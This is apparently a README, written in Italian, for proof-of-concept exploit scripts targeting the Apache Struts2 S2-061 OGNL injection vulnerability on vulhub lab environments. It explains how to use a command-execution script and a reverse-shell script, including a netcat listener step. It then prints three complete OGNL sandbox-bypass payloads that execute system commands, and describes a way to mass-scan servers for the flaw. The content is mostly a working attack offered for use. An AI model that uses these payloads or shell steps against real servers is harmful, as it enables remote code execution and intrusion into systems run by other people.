
payload di S2-061, e il corrispondente semplice PoC/Exp
S2-061
Gli script sono tutti scritti per l'ambiente di test delle vulnerabilità struts2-059/061 di vulhub, non sono universali. Spero che i maestri possano dare consigli.
struts2-061-poc.py (esegue semplici comandi di sistema)
Uso: python struts2-061-poc.py http://ip:port comando
Esempio: python struts2-061-poc.py http://192.168.0.7:8080 whoami
S2-061-shell.py (può ottenere una reverse shell)
Uso:
Prima, su una macchina A, mettersi in ascolto su una porta specifica (esempio: nc -lvvp 7777)
Eseguire lo script: python2 S2-061-shell.py target_url, dove target_url è l'indirizzo dell'ambiente vulnerabile, nel formato http://ip:port
In base alle istruzioni dello script, inserire l'IP della macchina A e la porta in ascolto; si otterrà una shell nella finestra di ascolto della macchina A
Di seguito sono riportati i payload creati da alcuni maestri:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
Articolo di analisi completo: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
Nota: si prega di codificare in URL il codice OGNL sopra prima di utilizzarlo negli strumenti.
Nelle nuove versioni di struts2, non è più possibile analizzare le espressioni OGNL tramite la costruzione di parametri. Pertanto, se si desidera utilizzare script per la scansione massiva della presenza di questa vulnerabilità, si può considerare di forzare tutti i parametri e poi verificare se nella pagina è presente il risultato atteso.
es:
%{ 'gcowsec-' + (2000 + 20).toString()}
Si dovrebbe ottenere
gcowsec-2020
Usare uno script per verificare se il risultato lo contiene.